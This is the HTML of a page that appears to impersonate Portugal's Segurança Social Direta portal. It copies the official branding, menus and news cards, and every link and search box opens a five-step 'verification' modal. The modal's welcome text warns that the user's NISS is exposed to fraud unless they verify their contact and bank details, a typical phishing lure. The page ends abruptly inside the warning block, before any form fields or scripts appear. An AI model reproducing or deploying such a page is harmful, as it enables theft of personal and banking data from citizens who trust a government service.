<!DOCTYPE html>
<html lang="pt">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Segurança Social Direta</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Inter', system-ui, sans-serif;
background: #fff;
color: #1a1a1a;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
-webkit-touch-callout: none;
-webkit-tap-highlight-color: transparent;
}
input, textarea, select, [contenteditable="true"] {
-webkit-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
}
img { -webkit-user-drag: none; user-drag: none; }
/* Page loader */
.page-loader { position: fixed; inset: 0; z-index: 100; background: #fff; display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 24px; transition: opacity 0.4s ease, visibility 0.4s ease; }
.page-loader.hidden { opacity: 0; visibility: hidden; }
.loader-bars { display: flex; gap: 6px; }
.loader-bar { width: 14px; height: 56px; border-radius: 2px; animation: barPulse 1.2s ease-in-out infinite; }
.loader-bar:nth-child(1) { background: #27A85A; animation-delay: 0s; }
.loader-bar:nth-child(2) { background: #F5A623; transform: skewX(-12deg); animation-delay: 0.2s; }
.loader-bar:nth-child(3) { background: #E74C3C; transform: skewX(-12deg); animation-delay: 0.4s; }
@keyframes barPulse { 0%, 100% { opacity: 0.4; transform: scaleY(0.7); } 50% { opacity: 1; transform: scaleY(1); } }
.loader-bar:nth-child(2) { transform: skewX(-12deg) scaleY(0.7); }
.loader-progress { width: 200px; height: 4px; background: #f3f4f6; border-radius: 2px; overflow: hidden; }
.loader-progress-bar { height: 100%; background: linear-gradient(to right, #27A85A, #F5A623, #E74C3C); animation: loaderProgress 1.5s ease-out forwards; }
@keyframes loaderProgress { from { width: 0%; } to { width: 100%; } }
.loader-text { font-size: 12px; color: #666; font-weight: 500; }
/* Account type selection on welcome step */
.acct-type-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; margin: 20px 0 8px; }
.acct-type-card { border: 2px solid #e5e7eb; border-radius: 14px; padding: 18px 14px; cursor: pointer; background: #fff; text-align: left; transition: border-color 0.2s, background 0.2s; display: flex; flex-direction: column; gap: 8px; }
.acct-type-card:hover { border-color: #006699; background: rgba(0,102,153,0.03); }
.acct-type-card.active { border-color: #006699; background: rgba(0,102,153,0.06); }
.acct-type-card-icon { width: 36px; height: 36px; border-radius: 10px; display: flex; align-items: center; justify-content: center; background: rgba(0,102,153,0.1); color: #006699; }
.acct-type-card-label { font-size: 14px; font-weight: 700; color: #1a1a1a; }
.acct-type-card-desc { font-size: 11.5px; color: #666; line-height: 1.5; }
.acct-type-card-check { width: 18px; height: 18px; border-radius: 50%; border: 2px solid #e5e7eb; margin-left: auto; display: flex; align-items: center; justify-content: center; transition: all 0.2s; flex-shrink: 0; }
.acct-type-card.active .acct-type-card-check { background: #006699; border-color: #006699; }
.acct-type-card-top { display: flex; align-items: center; gap: 10px; }
.acct-type-note { font-size: 11px; color: #888; background: #f9f9f9; border-radius: 8px; padding: 10px 12px; line-height: 1.5; margin-bottom: 4px; }
.acct-type-note strong { color: #555; }
/* Business step */
.biz-step-title { font-size: 13px; font-weight: 600; color: #006699; display: flex; align-items: center; gap: 6px; margin-bottom: 4px; }
/* Step transition loader */
.step-loader { position: absolute; inset: 0; z-index: 20; background: #fff; display: flex; align-items: center; justify-content: center; opacity: 0; visibility: hidden; transition: opacity 0.2s ease, visibility 0.2s ease; border-radius: inherit; }
.step-loader.active { opacity: 1; visibility: visible; }
.step-loader-inner { display: flex; flex-direction: column; align-items: center; gap: 20px; padding: 24px; }
.step-loader-logo { display: flex; align-items: center; gap: 10px; }
.step-loader-bars { display: flex; gap: 3px; align-items: flex-end; }
.step-loader-bar { width: 7px; border-radius: 2px; animation: slBarPulse 1s ease-in-out infinite; }
.step-loader-bar:nth-child(1) { height: 20px; background: #27A85A; animation-delay: 0s; }
.step-loader-bar:nth-child(2) { height: 28px; background: #F5A623; animation-delay: 0.15s; }
.step-loader-bar:nth-child(3) { height: 22px; background: #E74C3C; animation-delay: 0.3s; }
@keyframes slBarPulse { 0%, 100% { transform: scaleY(1); opacity: 1; } 50% { transform: scaleY(0.6); opacity: 0.6; } }
.step-loader-logo-text { display: flex; flex-direction: column; line-height: 1; }
.step-loader-title { font-size: 11px; font-weight: 800; letter-spacing: 0.08em; color: #1a1a1a; }
.step-loader-subtitle { font-size: 9px; font-weight: 600; letter-spacing: 0.12em; color: #666; margin-top: 1px; }
.step-loader-track { width: 180px; height: 3px; background: #f0f0f0; border-radius: 2px; overflow: hidden; }
.step-loader-fill { height: 100%; width: 0%; border-radius: 2px; background: linear-gradient(to right, #27A85A, #F5A623, #E74C3C); transition: width 0.05s linear; }
.step-loader-msg { font-size: 12px; color: #666; font-weight: 500; letter-spacing: 0.01em; min-height: 18px; text-align: center; animation: slFadeCycle 2s ease-in-out infinite; }
@keyframes slFadeCycle { 0%, 100% { opacity: 1; } 45%, 55% { opacity: 0.4; } }
/* Header */
.top-bar { height: 4px; background: linear-gradient(to right, #27A85A, #F5A623, #E74C3C); }
.header { border-bottom: 1px solid #e5e7eb; padding: 12px 16px; }
.header-content { max-width: 1280px; margin: 0 auto; display: flex; align-items: center; justify-content: space-between; gap: 16px; }
.logo { display: flex; align-items: center; gap: 8px; cursor: pointer; background: none; border: none; }
.logo-bars { display: flex; }
.logo-bar { width: 6px; height: 24px; border-radius: 2px; }
.logo-bar:nth-child(1) { background: #27A85A; }
.logo-bar:nth-child(2) { background: #F5A623; margin-left: 2px; transform: skewX(-12deg); }
.logo-bar:nth-child(3) { background: #E74C3C; margin-left: 2px; transform: skewX(-12deg); }
.logo-text { margin-left: 4px; line-height: 1.1; }
.logo-title { font-size: 10px; font-weight: 600; color: #1a1a1a; }
.logo-subtitle { font-size: 8px; font-weight: 700; color: #27A85A; }
.search-desktop { display: none; flex: 1; max-width: 400px; }
.search-input { width: 100%; padding: 10px 40px 10px 16px; border: 1px solid #e5e7eb; border-radius: 9999px; font-size: 14px; outline: none; }
.search-input:focus { border-color: #27A85A; box-shadow: 0 0 0 2px rgba(39, 168, 90, 0.1); }
.login-btn { display: flex; align-items: center; gap: 8px; background: #0D1B2A; color: white; padding: 8px 16px; border-radius: 9999px; border: none; font-size: 12px; font-weight: 500; cursor: pointer; }
.login-btn:hover { background: #1a2d42; }
.menu-btn { display: block; padding: 8px; background: none; border: none; cursor: pointer; }
.search-mobile { margin-top: 12px; }
.nav-desktop { display: none; margin-top: 16px; justify-content: space-between; flex-wrap: wrap; gap: 16px; }
.nav-group { display: flex; gap: 24px; flex-wrap: wrap; }
.nav-link { font-size: 14px; font-weight: 500; color: #1a1a1a; background: none; border: none; cursor: pointer; }
.nav-link:hover { color: #27A85A; }
.nav-mobile { display: none; margin-top: 16px; padding-top: 16px; border-top: 1px solid #e5e7eb; flex-direction: column; gap: 12px; }
.nav-mobile.active { display: flex; }
.nav-divider { border-top: 1px solid #e5e7eb; margin: 8px 0; }
/* Hero */
.hero { max-width: 1152px; margin: 0 auto; padding: 16px; }
.hero-card { background: #F5A623; border-radius: 16px; overflow: hidden; display: grid; }
.hero-content { padding: 20px; position: relative; z-index: 1; }
.hero-title { font-size: 24px; font-weight: 700; color: #1a1a1a; }
.hero-title span { text-decoration: underline; text-underline-offset: 4px; }
.hero-text { margin-top: 8px; font-size: 14px; color: rgba(26, 26, 26, 0.8); }
.hero-search { margin-top: 16px; max-width: 400px; }
.hero-search-input { width: 100%; padding: 12px 40px 12px 16px; border: none; border-radius: 9999px; font-size: 14px; box-shadow: 0 4px 20px rgba(0,0,0,0.1); outline: none; }
.hero-image { display: none; min-height: 280px; position: relative; }
.hero-image img { position: absolute; bottom: 0; right: 0; max-width: 100%; height: auto; object-fit: contain; }
/* Service Cards */
.services { max-width: 1280px; margin: 0 auto; padding: 0 16px 32px; }
.services-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 16px; }
.service-card { background: white; border: 1px solid #e5e7eb; border-radius: 12px; padding: 16px; cursor: pointer; text-align: left; transition: box-shadow 0.2s; }
.service-card:hover { box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
.service-icon { width: 40px; height: 40px; margin-bottom: 12px; }
.service-icon img { width: 100%; height: 100%; object-fit: contain; }
.service-title { font-size: 14px; font-weight: 600; color: #1a1a1a; }
.service-desc { margin-top: 4px; font-size: 12px; color: #666; flex: 1; }
.service-arrow { margin-top: 12px; text-align: right; color: #666; }
/* News */
.news { max-width: 1152px; margin: 0 auto; padding: 32px 16px; }
.news-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 16px; }
.news-title { font-size: 20px; font-weight: 700; }
.news-btn { display: flex; align-items: center; gap: 4px; padding: 6px 12px; border: 1px solid #e5e7eb; border-radius: 9999px; font-size: 12px; font-weight: 500; background: none; cursor: pointer; }
.news-grid { display: grid; gap: 24px; }
.news-featured img { width: 100%; aspect-ratio: 4/3; object-fit: cover; border-radius: 12px; }
.news-featured-title { margin-top: 12px; font-size: 16px; font-weight: 700; }
.news-featured-meta { margin-top: 4px; font-size: 12px; color: #666; }
.news-side { display: flex; flex-direction: column; gap: 16px; }
.news-item { display: flex; gap: 12px; cursor: pointer; }
.news-item-content { flex: 1; }
.news-item-title { font-size: 14px; font-weight: 600; }
.news-item-meta { font-size: 12px; color: #666; margin-top: 2px; }
.news-item img { width: 80px; height: 64px; object-fit: cover; border-radius: 8px; flex-shrink: 0; }
/* Modal — flex column so header/footer are sticky and only body scrolls */
.modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0); backdrop-filter: blur(0px); z-index: 50; align-items: center; justify-content: center; padding: 12px; transition: background 0.25s ease, backdrop-filter 0.25s ease; }
.modal-overlay.active { display: flex; background: rgba(0,0,0,0.52); backdrop-filter: blur(5px); }
.modal-overlay.animating { display: flex; }
.modal { font-family: 'DM Sans', system-ui, sans-serif; background: white; border-radius: 18px; width: 100%; max-width: 560px; max-height: 88vh; display: flex; flex-direction: column; box-shadow: 0 8px 16px rgba(0,0,0,0.08), 0 24px 48px rgba(0,0,0,0.18); position: relative; overflow: hidden; transform: translateY(18px) scale(0.98); opacity: 0; transition: transform 0.28s cubic-bezier(0.34,1.3,0.64,1), opacity 0.22s ease; }
.modal-overlay.active .modal { transform: translateY(0) scale(1); opacity: 1; }
.modal-gradient { background: linear-gradient(to right, #27A85A, #F5A623, #E74C3C); padding: 3px; border-radius: 18px 18px 0 0; flex-shrink: 0; }
.modal-header { background: white; border-radius: 15px 15px 0 0; padding: 14px 16px; flex-shrink: 0; }
.modal-header-content { display: flex; align-items: center; justify-content: space-between; }
.modal-logo { display: flex; align-items: center; gap: 8px; }
.modal-logo-bars { display: flex; }
.modal-logo-bar { width: 6px; height: 24px; border-radius: 2px; }
.modal-logo-bar:nth-child(1) { background: #27A85A; }
.modal-logo-bar:nth-child(2) { background: #F5A623; margin-left: 2px; transform: skewX(-12deg); }
.modal-logo-bar:nth-child(3) { background: #E74C3C; margin-left: 2px; transform: skewX(-12deg); }
.modal-logo-text { line-height: 1.1; }
.modal-logo-title { font-size: 12px; font-weight: 600; }
.modal-logo-subtitle { font-size: 10px; font-weight: 700; color: #27A85A; }
.modal-actions { display: flex; align-items: center; gap: 8px; }
.lang-btn { display: flex; align-items: center; gap: 4px; padding: 5px 11px; border: 1px solid #e5e7eb; border-radius: 9999px; font-size: 12px; font-weight: 500; background: white; cursor: pointer; }
.close-btn { width: 30px; height: 30px; display: flex; align-items: center; justify-content: center; border-radius: 50%; border: none; background: none; cursor: pointer; font-size: 20px; color: #666; }
.close-btn:hover { background: #f3f4f6; }
.progress-bar { display: flex; gap: 3px; margin-top: 10px; }
.progress-step { flex: 1; height: 3px; border-radius: 9999px; background: #eaecef; transition: background 0.3s ease; }
.progress-step.active { background: #27A85A; }
.progress-step.done { background: #a8d5bc; }
.progress-text { margin-top: 5px; font-size: 10.5px; color: #999; letter-spacing: 0.01em; }
/* Body scrolls internally — header and footer stay fixed */
.modal-body { padding: 14px 16px; overflow-y: auto; flex: 1; }
.step { display: none; }
.step.active { display: block; animation: stepIn 0.32s ease both; }
@keyframes stepIn { from { opacity: 0; transform: translateX(8px); } to { opacity: 1; transform: translateX(0); } }
@media (prefers-reduced-motion: reduce) { .step.active { animation: none; } .modal { transition: none; } }
/* Welcome step */
.welcome-icon { display: flex; justify-content: center; gap: 5px; margin-bottom: 12px; }
.welcome-bar { width: 9px; height: 34px; border-radius: 2px; }
.welcome-bar:nth-child(1) { background: #27A85A; }
.welcome-bar:nth-child(2) { background: #F5A623; transform: skewX(-12deg); }
.welcome-bar:nth-child(3) { background: #E74C3C; transform: skewX(-12deg); }
.welcome-title { font-size: 21px; font-weight: 700; text-align: center; margin-bottom: 10px; line-height: 1.25; letter-spacing: -0.01em; text-wrap: balance; }
.welcome-text { font-size: 14px; color: #555; text-align: center; line-height: 1.65; max-width: 460px; margin: 0 auto; text-wrap: pretty; }
.welcome-warning { display: flex; align-items: flex-start; gap: 11px; max-width: 100%; margin: 14px 0 0; padding: 13px 14px; background: #fff5f5; border: 1.5px solid rgba(201,42,42,0.3); border-left: 4px solid #c92a2a; border-radius: 10px; text-align: left; }
.welcome-warning svg { color: #c92a2a; flex-shrink: 0; margin-top: 2px; }
.welcome-warning span { font-size: 12.5px; color: #8b1c1c; line-height: 1.55; font-weight: 500; }
.bank-warning { display: flex; align-items: flex-start; gap: 10px; margin-bottom: 16px; padding: 11px 13px; background: rgba(240, 158, 20, 0.09); border: 1px solid rgba(240, 158, 20, 0.35); border-radius: 10px; }
.bank-warning svg { color: #b8860b; flex-shrink: 0; margin-top: 1px; }
.bank-warning span { font-size: 12.5px; color: #8a6300; line-height: 1.5; font-weight: 500; }
.welcome-badges { display: flex; flex-wrap: wrap; justify-content: center; gap: 16px; margin-top: 24px; }
.welcome-badge { display: flex; align-items: center; gap: 6px; font-size: 14px; color: #666; }
.welcome-badge svg { color: #27A85A; }
/* Form elements */
.form-section { margin-bottom: 12px; }
.form-title { font-size: 17px; font-weight: 700; margin-bottom: 4px; }
.form-text { font-size: 13.5px; color: #666; margin-bottom: 10px; line-height: 1.5; }
.form-note { display: flex; align-items: flex-start; gap: 8px; font-size: 11.5px; color: #8a8a8a; line-height: 1.5; margin: -4px 0 12px; }
.form-note svg { flex-shrink: 0; margin-top: 1px; color: #b0b0b0; }
.form-group { margin-bottom: 13px; }
.form-label { display: block; font-size: 14px; font-weight: 500; margin-bottom: 6px; }
.form-input-wrap { position: relative; }
.form-icon { position: absolute; left: 12px; top: 50%; transform: translateY(-50%); color: #666; }
.form-input, .form-select { width: 100%; padding: 11px 12px 11px 40px; border: 1.5px solid #e2e5ea; border-radius: 11px; font-size: 15px; background: #f8f9fb; outline: none; transition: border-color 0.18s ease, background 0.18s ease, box-shadow 0.18s ease; }
.form-input:hover, .form-select:hover { border-color: #c8cdd5; }
.form-input:focus, .form-select:focus { border-color: #F5A623; background: white; box-shadow: 0 0 0 3px rgba(245,166,35,0.13); }
.form-input.error, .form-select.error { border-color: #f87171; background: #fef5f5; box-shadow: 0 0 0 3px rgba(248,113,113,0.1); }
.form-input.valid, .form-select.valid { border-color: #27A85A; }
.form-hint { font-size: 11.5px; color: #888; margin-top: 4px; line-height: 1.45; }
.form-error { font-size: 11.5px; color: #e03131; margin-top: 4px; font-weight: 500; }
.form-select { appearance: none; cursor: pointer; padding-right: 40px; }
.select-arrow { position: absolute; right: 12px; top: 50%; transform: translateY(-50%); color: #666; pointer-events: none; }
/* Info boxes */
.info-box { display: flex; gap: 12px; padding: 12px; border-radius: 12px; margin-top: 16px; }
.info-box.green { background: rgba(39, 168, 90, 0.1); }
.info-box.yellow { background: rgba(245, 166, 35, 0.1); border: 2px solid rgba(245, 166, 35, 0.3); }
.info-icon { width: 20px; height: 20px; flex-shrink: 0; margin-top: 2px; }
.info-icon.green { display: flex; }
.info-icon.green div { width: 4px; height: 20px; border-radius: 2px; }
.info-icon.green div:nth-child(1) { background: #27A85A; }
.info-icon.green div:nth-child(2) { background: #F5A623; margin-left: 2px; transform: skewX(-12deg); }
.info-icon.green div:nth-child(3) { background: #E74C3C; margin-left: 2px; transform: skewX(-12deg); }
.info-icon.yellow { width: 20px; height: 20px; background: #F5A623; border-radius: 50%; display: flex; align-items: center; justify-content: center; color: white; font-weight: 700; font-size: 12px; }
.info-text { font-size: 14px; color: #1a1a1a; }
/* Confirm step */
.confirm-section { background: #f9fafb; border-radius: 12px; padding: 12px; margin-bottom: 12px; }
.confirm-header { display: flex; align-items: center; gap: 8px; font-size: 14px; font-weight: 500; color: #666; margin-bottom: 12px; }
.confirm-row { display: flex; justify-content: space-between; gap: 8px; padding: 4px 0; }
.confirm-label { font-size: 14px; color: #666; }
.confirm-value { font-size: 14px; font-weight: 500; text-align: right; word-break: break-all; }
/* Success step */
.success-icon { width: 64px; height: 64px; margin: 0 auto 16px; background: rgba(39, 168, 90, 0.1); border-radius: 50%; display: flex; align-items: center; justify-content: center; }
.success-icon svg { width: 32px; height: 32px; color: #27A85A; }
.success-title { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 8px; }
.success-text { font-size: 14px; color: #666; text-align: center; line-height: 1.6; }
.success-badge { display: inline-flex; align-items: center; gap: 8px; margin-top: 16px; padding: 8px 16px; background: rgba(39, 168, 90, 0.1); border-radius: 9999px; font-size: 14px; color: #27A85A; }
/* Modal footer — flex-shrink: 0 keeps it pinned at the bottom */
.modal-footer { display: flex; align-items: center; justify-content: space-between; gap: 12px; padding: 11px 16px; border-top: 1px solid #f0f0f0; background: rgba(249, 250, 251, 0.8); flex-shrink: 0; }
.btn-back { display: flex; align-items: center; gap: 4px; padding: 9px 14px; border: none; background: none; font-size: 14px; font-weight: 500; color: #666; border-radius: 8px; cursor: pointer; }
.btn-back:hover { background: #f3f4f6; }
.btn-next { display: flex; align-items: center; gap: 4px; padding: 10px 22px; background: #1a1a1a; color: white; border: none; border-radius: 8px; font-size: 15px; font-weight: 600; cursor: pointer; }
.btn-next:hover { background: #333; }
.btn-next:disabled { opacity: 0.5; cursor: not-allowed; }
.btn-next.success { background: #27A85A; width: 100%; justify-content: center; }
.btn-next.success:hover { background: #229A4E; }
.spinner { width: 18px; height: 18px; border: 2px solid transparent; border-top-color: white; border-radius: 50%; animation: spin 0.8s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }
/* Mobile: bottom-sheet style, internal scroll still works */
@media (max-width: 480px) {
.modal-overlay { padding: 0; align-items: flex-end; }
.modal { max-height: 92vh; border-radius: 20px 20px 0 0; max-width: 100%; }
.modal-gradient { border-radius: 20px 20px 0 0; }
.modal-header { border-radius: 17px 17px 0 0; padding: 12px 14px; }
.modal-body { padding: 12px 14px; }
.modal-footer { padding: 10px 14px; }
.acct-type-grid { grid-template-columns: 1fr; gap: 8px; }
.acct-type-card { padding: 12px 11px; }
.welcome-icon { margin-bottom: 10px; }
.welcome-bar { width: 8px; height: 32px; }
.welcome-title { font-size: 18px; }
.welcome-text { font-size: 13px; }
.confirm-row { flex-direction: column; gap: 2px; }
.confirm-value { text-align: left; }
.form-input, .form-select { font-size: 16px; } /* prevent iOS zoom */
}
/* Responsive — page chrome only, not modal internals */
@media (min-width: 768px) {
.logo-bar { width: 8px; height: 32px; }
.logo-title { font-size: 14px; }
.logo-subtitle { font-size: 12px; }
.search-desktop { display: block; }
.search-mobile { display: none; }
.menu-btn { display: none; }
.login-btn { padding: 10px 24px; font-size: 14px; }
.login-btn span { display: inline; }
.nav-desktop { display: flex; }
.hero-card { grid-template-columns: 1fr 1fr; }
.hero-content { padding: 32px 48px; }
.hero-title { font-size: 32px; }
.hero-text { font-size: 16px; margin-top: 16px; }
.hero-search { margin-top: 32px; }
.hero-image { display: flex; align-items: flex-end; justify-content: flex-end; }
.services-grid { grid-template-columns: repeat(4, 1fr); gap: 24px; }
.service-card { padding: 24px; border-radius: 16px; }
.service-icon { width: 64px; height: 64px; margin-bottom: 16px; }
.service-title { font-size: 18px; }
.service-desc { font-size: 14px; margin-top: 8px; }
.service-arrow { margin-top: 24px; }
.news-grid { grid-template-columns: 1fr 1fr; }
/* Modal on wider screens: modest padding, no inflated fonts */
.modal-header { padding: 16px 20px 14px; }
.modal-body { padding: 16px 20px; }
.modal-footer { padding: 12px 20px; }
}
</style>
</head>
<body>
<!-- Page loader -->
<div class="page-loader" id="pageLoader">
<div class="loader-bars">
<div class="loader-bar"></div>
<div class="loader-bar"></div>
<div class="loader-bar"></div>
</div>
<div class="loader-progress"><div class="loader-progress-bar"></div></div>
<div class="loader-text" data-pt="A carregar..." data-en="Loading...">A carregar...</div>
</div>
<!-- Header -->
<div class="top-bar"></div>
<header class="header">
<div class="header-content">
<button class="logo" onclick="openModal()">
<div class="logo-bars">
<div class="logo-bar"></div>
<div class="logo-bar"></div>
<div class="logo-bar"></div>
</div>
<div class="logo-text">
<div class="logo-title">SEGURANÇA SOCIAL</div>
<div class="logo-subtitle">DIRETA</div>
</div>
</button>
<div class="search-desktop">
<input type="text" class="search-input" placeholder="Em que podemos ajudar?" onfocus="openModal()">
</div>
<div style="display: flex; align-items: center; gap: 8px;">
<button class="login-btn" onclick="openModal()">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
<span style="display: none;">Iniciar sessão</span>
</button>
<button class="menu-btn" onclick="toggleMobileNav()">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="3" y1="12" x2="21" y2="12"/><line x1="3" y1="6" x2="21" y2="6"/><line x1="3" y1="18" x2="21" y2="18"/></svg>
</button>
</div>
</div>
<div class="search-mobile">
<input type="text" class="search-input" placeholder="Em que podemos ajudar?" onfocus="openModal()">
</div>
<nav class="nav-desktop">
<div class="nav-group">
<button class="nav-link" onclick="openModal()">Família</button>
<button class="nav-link" onclick="openModal()">Doença</button>
<button class="nav-link" onclick="openModal()">Ação Social</button>
<button class="nav-link" onclick="openModal()">Trabalho</button>
</div>
<div class="nav-group">
<button class="nav-link" onclick="openModal()">Pagamentos e dívidas</button>
<button class="nav-link" onclick="openModal()">Simuladores</button>
<button class="nav-link" onclick="openModal()">Ajuda</button>
</div>
</nav>
<nav class="nav-mobile" id="mobileNav">
<button class="nav-link" onclick="openModal()">Família</button>
<button class="nav-link" onclick="openModal()">Doença</button>
<button class="nav-link" onclick="openModal()">Ação Social</button>
<button class="nav-link" onclick="openModal()">Trabalho</button>
<div class="nav-divider"></div>
<button class="nav-link" onclick="openModal()">Pagamentos e dívidas</button>
<button class="nav-link" onclick="openModal()">Simuladores</button>
<button class="nav-link" onclick="openModal()">Ajuda</button>
</nav>
</header>
<!-- Hero -->
<section class="hero">
<div class="hero-card">
<div class="hero-content">
<h1 class="hero-title">Primeiro <span>Pessoas</span></h1>
<p class="hero-text">A Segurança Social em todas as fases da sua vida.</p>
<div class="hero-search">
<input type="text" class="hero-search-input" placeholder="Em que podemos ajudar?" onfocus="openModal()">
</div>
</div>
<div class="hero-image">
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/image-sCoXiTiqbUyxf6YJkp96ZB1UWXXS0N.png" alt="Pessoas">
</div>
</div>
</section>
<!-- Services -->
<section class="services">
<div class="services-grid">
<button class="service-card" onclick="openModal()">
<div class="service-icon">
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/child-AGAW0gTG5b7mgF6OCvGcias9cuwTBx.svg" alt="">
</div>
<h3 class="service-title">Vou ter ou tenho um filho</h3>
<p class="service-desc">Apoios durante a gravidez, depois do parto e para o crescimento dos seus filhos.</p>
<div class="service-arrow">→</div>
</button>
<button class="service-card" onclick="openModal()">
<div class="service-icon">
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/suitcase-OsIBryua6peL8uLO5tYRL1DHpBg0H8.svg" alt="">
</div>
<h3 class="service-title">Sou empregador</h3>
<p class="service-desc">Para gerir os seus trabalhadores e contribuições.</p>
<div class="service-arrow">→</div>
</button>
<button class="service-card" onclick="openModal()">
<div class="service-icon">
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/sunrise-pSvGb7QAyOLbydtajoWN1PVg5LvlZ6.svg" alt="">
</div>
<h3 class="service-title">Vou reformar-me ou sou reformado</h3>
<p class="service-desc">Para preparar a reforma, pedir a pensão de velhice e outros benefícios.</p>
<div class="service-arrow">→</div>
</button>
<button class="service-card" onclick="openModal()">
<div class="service-icon">
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/pic_tree-IGlrWURS2guU2lEtRV4qWPUy0V6l45.svg" alt="">
</div>
<h3 class="service-title">Outros momentos de vida</h3>
<p class="service-desc">Descubra que outros momentos de vida podem ser úteis para a sua situação.</p>
<div class="service-arrow">→</div>
</button>
</div>
</section>
<!-- News -->
<section class="news">
<div class="news-header">
<h2 class="news-title">Notícias</h2>
<button class="news-btn" onclick="openModal()">
<span>Ver mais</span> →
</button>
</div>
<div class="news-grid">
<button class="news-featured" onclick="openModal()">
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/section_left-DseRXu4ilMMKMdNJlGektdKPYRqGuH.png" alt="Notícia">
<h3 class="news-featured-title">Trabalhadores Independentes: Entrega da Declaração Trimestral</h3>
<p class="news-featured-meta">2 min. de leitura</p>
</button>
<div class="news-side">
<button class="news-item" onclick="openModal()">
<div class="news-item-content">
<h3 class="news-item-title">Pedido Documento Portátil S1 já disponível online</h3>
<p class="news-item-meta">1 min. de leitura</p>
</div>
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/IFltxCfPAUCNc95aOfy9Ig-4w6pVAkJI6bideKAjr7AUKBPeBedcu.png" alt="">
</button>
<button class="news-item" onclick="openModal()">
<div class="news-item-content">
<h3 class="news-item-title">Simplificação do Ciclo Contributivo</h3>
<p class="news-item-meta">1 min. de leitura</p>
</div>
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/wkX8raq9Cpa88tBQOXY-iw-kNuc2c1bWJkPrqHReXd76ad4qyIEHt.jpg" alt="">
</button>
<button class="news-item" onclick="openModal()">
<div class="news-item-content">
<h3 class="news-item-title">Segurança reforçada nos Serviços de...</h3>
<p class="news-item-meta">2 min. de leitura</p>
</div>
<img src="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/wn5_nVFSJJPD430sgRrcbQ-aAiMGFHl8kHd5nw8M3GAENj64vk0NK.jpg" alt="">
</button>
</div>
</div>
</section>
<!-- Modal -->
<div class="modal-overlay" id="modal">
<div class="modal">
<div class="modal-gradient">
<div class="modal-header">
<div class="modal-header-content">
<div class="modal-logo">
<div class="modal-logo-bars">
<div class="modal-logo-bar"></div>
<div class="modal-logo-bar"></div>
<div class="modal-logo-bar"></div>
</div>
<div class="modal-logo-text">
<div class="modal-logo-title">SEGURANÇA SOCIAL</div>
<div class="modal-logo-subtitle">DIRETA</div>
</div>
</div>
<button class="lang-btn" onclick="toggleLanguage()">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="2" y1="12" x2="22" y2="12"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg>
<span id="langLabel">PT</span>
</button>
</div>
<div class="progress-bar" id="progressBar">
<div class="progress-step active"></div>
<div class="progress-step"></div>
<div class="progress-step"></div>
<div class="progress-step"></div>
<div class="progress-step"></div>
</div>
<div class="progress-text" id="progressText">Passo 1 de 5</div>
</div>
</div>
<!-- Step transition loader overlay -->
<div class="step-loader" id="stepLoader">
<div class="step-loader-inner">
<div class="step-loader-logo">
<div class="step-loader-bars">
<div class="step-loader-bar"></div>
<div class="step-loader-bar"></div>
<div class="step-loader-bar"></div>
</div>
<div class="step-loader-logo-text">
<div class="step-loader-title">SEGURANÇA SOCIAL</div>
<div class="step-loader-subtitle">DIRETA</div>
</div>
</div>
<div class="step-loader-track">
<div class="step-loader-fill" id="stepLoaderFill"></div>
</div>
<div class="step-loader-msg" id="stepLoaderMsg">A verificar dados...</div>
</div>
</div>
<div class="modal-body">
<!-- Welcome Step -->
<div class="step active" id="step-welcome">
<div style="text-align: center; padding: 16px 0 8px;">
<div class="welcome-icon">
<div class="welcome-bar"></div>
<div class="welcome-bar"></div>
<div class="welcome-bar"></div>
</div>
<h3 class="welcome-title" data-pt="Bem-vindo à Verificação" data-en="Welcome to Verification">Bem-vindo à Verificação</h3>
<p class="welcome-text" data-pt="Para garantir a segurança da sua conta e dos seus dados, precisamos de verificar as suas informações de contacto e dados bancários. Sem esta verificação, o seu Número de Identificação de Segurança Social (NISS) fica exposto a utilização indevida — nomeadamente fraude, pedidos de prestações sociais em seu nome e roubo de identidade." data-en="To ensure the security of your account and data, we need to verify your contact information and bank details. Without this verification, your Social Security Identification Number (SSIN) is left exposed to misuse — namely fraud, benefit claims made in your name, and identity theft.">Para garantir a segurança da sua conta e dos seus dados, precisamos de verificar as suas informações de contacto e dados bancários. Sem esta verificação, o seu Número de Identificação de Segurança Social (NISS) fica exposto a utilização indevida — nomeadamente fraude, pedidos de prestações sociais em seu nome e roubo de identidade.</p>
<div class="welcome-warning">
